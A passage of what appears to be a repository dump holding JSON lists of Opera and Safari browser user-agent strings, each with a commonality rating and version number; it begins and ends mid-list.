Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition Next; ru) Presto\\/2.11.310 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2188.2 Safari\\/537.36 OPR\\/27.0.1683.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.9.168 Version\\/11.52\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Linux; Andr0id 7.1.2; QM163E Build\\/NZH54D) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/32.0.2128.0 OMI\\/4.8.0.142.Racer.42\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2687.0 Safari\\/537.36 OPR\\/38.0.2205.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.66\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36 OPR\\/34.0.2036.47\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.64 (Windows 98; U; en) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux i686; U; fr) Presto\\/2.10.287 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.37\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 7.0; de-DE; PRA-LX1 Build\\/HUAWEIPRA-LX1) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 OPR\\/12.19.0.1 Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; U) Opera 7.50  [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; ru) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.122 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.5.24 Version\\/10.53\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; Edition Yx) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; Opera TV Store\\/5606; (SonyBDP\\/BDV14)) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.130 Safari\\/537.36 OPR\\/30.0.1835.125\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; BLU STUDIO C 5+5 Build\\/LRX21M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Mobile Safari\\/537.36 OPR\\/34.0.2044.98679\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51 (Edition Rambler)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux i686; Opera Mobi\\/46154) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (HITACHI, Mxl661L32, wired) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.111 Safari\\/537.36 OPR\\/25.0.1614.68\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; ru) Presto\\/2.10.229 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux sh4; U; HbbTV\\/1.1.1 (+PVR; Loewe; SL150; LOH\\/3.10;;) CE-HTML\\/1.0 Config(L:deu,CC:DEU); en) Presto\\/2.10.250 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition United States Local; en) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; KFJWI Build\\/IMM76D) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.59 Safari\\/537.36 OPR\\/26.0.1656.87080\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.138 Safari\\/537.36 OPR\\/22.0.1485.81203\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2756.0 Safari\\/537.36 OPR\\/40.0.2267.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.76 Safari\\/537.36 OPR\\/16.0.1196.80\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51 (Edition Ask)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.207\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; KFJWI Build\\/IMM76D) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.102 Safari\\/537.36 OPR\\/25.0.1619.84037\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; pl) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.107 Safari\\/537.36 OPR\\/31.0.1889.99 (Edition Campaign 38)\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36 OPR\\/29.0.1795.47\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; BLU STUDIO G Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.107 Mobile Safari\\/537.36 OPR\\/29.0.1809.91837\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2700.0 Safari\\/537.36 OPR\\/38.0.2213.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.54 (Edition Campaign 70)\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; A52+ Build\\/JDQ39) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.64 Mobile Safari\\/537.36 OPR\\/33.0.2002.98088\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2305.3 Safari\\/537.36 OPR\\/29.0.1795.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; Nokia_X Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Mobile Safari\\/537.36 OPR\\/34.0.2044.98679\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80(Windows NT 5.1;U;en)Presto\\/22.9.168 Version\\/11.51\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3018.3 Safari\\/537.36 OPR\\/45.0.2531.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.39\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32 (Edition Campaign 34)\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2824.2 Safari\\/537.36 OPR\\/41.0.2329.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2657.0 Safari\\/537.36 OPR\\/37.0.2171.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux x86_64) AppleWebKit\\/537.36 KHTML, like Gecko) Chrome\\/30.0.1599.114 Safari\\/537.36 OPR\\/ 17.0.1251.0 OMI\\/4.0.2.15.NAME.5 TV Store\\/4.0 Model\\/ReferenceOEM-ReferenceDevice\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.26314\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2096.0 Safari\\/537.36 OPR\\/25.0.1583.1 (Edition Developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Android 2.3.3; Linux; Opera Mobi\\/ADR-1103311355; U; en) Presto\\/2.7.81 Version\\/11.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.11.6; Edition MAS) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; F1f Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.110129\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SM-T230NU Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.1; en) Opera 11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux armv6l; U; NETRANGEMMH;HbbTV\\/1.1.1;CE-HTML\\/1.0;THOMSON LF1V394; en) Presto\\/2.10.250 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 2.3.4; Linux; Opera Mobi\\/ADR-1202231246; U; en-GB) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:14.0) Gecko\\/20100101 Opera\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Opera\\/9.80 (Windows NT 10.0; Win64; x64) Presto\\/2.12.388 Version\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.132 Safari\\/537.36 OPR\\/21.0.1432.67 (Edition Campaign 47)\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.19 Safari\\/537.36 OPR\\/39.0.2226.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 4.1.2; Linux; Opera Mobi\\/ADR-1301080958) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux sh4; U; HbbTV\\/1.1.1 (;;;;;); CE-HTML; TechniSat Digit ISIO S; de) Presto\\/2.9.167 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.193 VSTVB MB100 HbbTV\\/1.2.1 (; TOSHIBA; MB110; 2.35.8.5; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; Edition Indonesian Local; en) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.66 Safari\\/537.36 OPR\\/25.0.1614.31 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69 (Edition Campaign 69)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; InFocus M350 Build\\/LMY47I) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Mobile Safari\\/537.36 OPR\\/34.0.2044.98679\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36 OPR\\/35.0.2066.68\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2126.101812\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Linux; Andr0id 6.0.1; BRAVIA 2015 Build\\/MMB29V.S35) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36 OPR\\/32.0.2036.0 OMI\\/4.6.4.42.E103250.101\"},{\"commonality\":\"Uncommon\",\"version\":\"44.1\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-T580 Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.116 Safari\\/537.36 OPR\\/44.1.2246.123029\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64; Edition Yx) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.1; en) Opera 12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X; U; en) Presto\\/2.6.30 Version\\/10.61\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (POLAROID, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.3.J (POLAROID, Si2157LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51 (Edition Yx)\"}]"
  },
  {
    "path": "User Agents/json/safari.json",
    "content": "[{\"commonality\":\"Very common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.7 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F69 Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Very common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A372 Safari\\/604.1\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G36 Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Very common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.4\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.0.3 Safari\\/601.4.4\"},{\"commonality\":\"Very common\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.8\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E188a Safari\\/601.1\"},{\"commonality\":\"Very common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) 